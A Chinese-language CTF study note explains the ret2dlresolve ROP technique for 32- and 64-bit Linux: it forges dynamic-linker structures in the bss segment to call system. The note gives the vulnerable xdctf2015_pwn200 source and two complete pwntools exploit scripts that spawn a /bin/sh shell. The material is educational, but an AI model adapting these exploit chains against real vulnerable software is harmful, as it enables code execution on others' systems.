ret2_dl_runtime_resolve:
以下为个人总结,如有错误,还望看官指出
一种复杂的rop利用技术,但利用方式单一,模板化
适用场景:
NX和ASLR保护开启,简单栈溢出同时难以泄露更多信息
32位利用:
大致的讲一下,详细的利用步骤与细节可上网自行查询其他大佬
函数dl_runtime_resolve(link_map_obj,reloc_index)有这两个参数
调用dl_runtime_resolve要摆好这两个参数
link_map_obj的值可以pwntools获取:elf.get_section_by_name(‘.plt’).header.sh_addr
而reloc_index参数和rop的要求:
1. reloc_index就是rel.plt的偏移,我们要改为指向bss段我们伪造的rel.plt结构{r_offest,r_info}
2. r_info>>8就是.dynsym的偏移,我们要改为指向bss段我们伪造的
dynsym结构{st_name,st_value,st_size ,st_info}
3. st_name就是.dynstr的偏移,我们要改为指向bss段我们伪造的字符串(可以为system\x00)
注: 我们要算出偏移都是要知道 对应表的基址 与 我们fake_struck地址 相应运算一下
基址都可以pwntools获取
还有就是fake_dynsym_struck要地址对齐
例题:xdctf2015_pwn200(Partial RELRO)
源码:
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
编译一下
gcc -fno-stack-protector -m32 -z relro -no-pie pwn.c -o main
exp:
from pwn import *
offset = 112
elf = ELF('./bof')
io = process('./bof')
rop = ROP('./bof')
bss_addr = elf.bss()
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw('a'*offset)
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
#gdb.attach(io)
io.sendline(rop.chain())
rop = ROP('./bof')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['read']
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage+82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
#gdb.attach(io)
#print(rop.dump())
io.sendline(rop.chain())
io.interactive()
64位利用:
64位与32位相比又有许多不同的地方,详细请参考网络上其他大佬
这里贴一位
ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客
(假设我们控制的地址在bss段)
64位的话要在bss段伪造Linkmap结构,控制:
-
DT_JMPREL指针:位于link_map_addr +0xF8,它指向的结构第二个参数指向伪造的.rel.plt的地址
我们要把它改为指向bss段我们伪造的结构,我们伪造结构的第二个参数指向bss段我们伪造的.rel.plt结构 -
DT_SYMTAB指针:位于link_map_addr + 0x70,指向bss段我们伪造的dyn_symtab结构
(DT_STRTAB指针:位于link_map_addr +0x68,但用不到) -
l_addr,位于link_map+0处,l_addr的值=libc.sym[‘system’] - libc.sym[‘w
rite’] (system减去一个已经绑定过的plt表)
最后都布置好了的话rdi传入/bin/sh的地址,加载dlsolve,参数入栈(fake_linkmap_addr 和 (push) 0)
可以gdb调试看看push几,那个加载dlsolve的地址也能调试得到
例题1:xdctf2015_pwn200(Partial RELRO)
源码:
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
同样的题目编译一下,不过变为64位
gcc -fno-stack-protector -z relro -no-pie pwn.c -o main
exp:
from pwn import*
r=process('./main')
elf=ELF('./main')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
bss_addr = elf.bss()
stack_size = 0x400
bss_stage = bss_addr + stack_size
l_addr = libc.sym['system'] -libc.sym['write']
print hex(l_addr)
pop_rdi=0x4007b3 #pop rdi ; ret
pop_rsi=0x4007b1 #pop rsi ; pop r15 ; ret
ret=0x400501#ret
dlsolve = 0x400516#gdb debug find
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
#dyn_relplt
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
#relplt
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)#l_ns
#dyn_symtab
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)#fake_linkmap+0x68
linkmap += p64(fake_linkmap_addr + 0x38)#fake_linkmap+0x70
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)#fake_linkmap+0xf8
return linkmap
fake_link_map = fake_Linkmap_payload(bss_stage, elf.got['write'] ,l_addr)
payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 ,elf.plt['read'],
ret, ret,ret,ret,
pop_rdi , bss_stage + 0x48 , dlsolve , bss_stage , 0
)
r.recvuntil('Welcome to XDCTF2015~!\n')
r.send(payload)
r.sendline(fake_link_map)
r.interactive()